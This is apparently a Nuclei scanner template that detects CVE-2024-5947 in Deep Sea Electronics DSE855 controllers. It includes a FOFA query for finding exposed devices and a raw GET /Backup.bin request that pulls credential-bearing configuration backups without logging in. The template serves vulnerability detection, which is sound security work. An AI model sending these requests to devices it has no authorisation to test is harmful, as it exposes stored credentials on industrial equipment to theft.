id: CVE-2024-5947

info:
  name: Deep Sea Electronics DSE855 - Authentication Bypass
  author: s4e-io
  severity: medium
  description: |
    Deep Sea Electronics DSE855 Configuration Backup Missing Authentication Information Disclosure Vulnerability. This vulnerability allows network-adjacent attackers to disclose sensitive information on affected installations of Deep Sea Electronics DSE855 devices. Authentication is not required to exploit this vulnerability. The specific flaw exists within the web-based UI. The issue results from the lack of authentication prior to allowing access to functionality. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise. Was ZDI-CAN-22679.
  impact: |
    Unauthenticated network-adjacent attackers can download configuration backup files containing stored credentials without authentication.
  remediation: |
    Contact Deep Sea Electronics for a firmware update that addresses the authentication bypass vulnerability in DSE855 devices.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5947
    - https://packetstormsecurity.com/files/179342/Deep-Sea-Electronics-DSE855-Remote-Authentication-Bypass.html
    - https://www.zerodayinitiative.com/advisories/ZDI-24-671/
  classification:
    epss-score: 0.74043
    epss-percentile: 0.98857
  metadata:
    verified: "true"
    max-request: 1
    vendor: Deep Sea Electronics
    product: DSE855
    fofa-query: "Deep Sea Electronics"
  tags: packetstorm,cve,cve2024,bypass,info-leak,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"Copyright Deep Sea Electronics")'
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        GET /Backup.bin HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type,"Unknown")'
          - "status_code == 200"
        condition: and
# digest: 490a00463044022014a2bb19beefccfcef8af5a25ff164e8028fd0c86e9615b9543ba5a18c48c8510220446942bd4036b132ad2024b903496a11711702b574993d16262f8932160eee2c:922c64590222798bb761d5b6d8e72950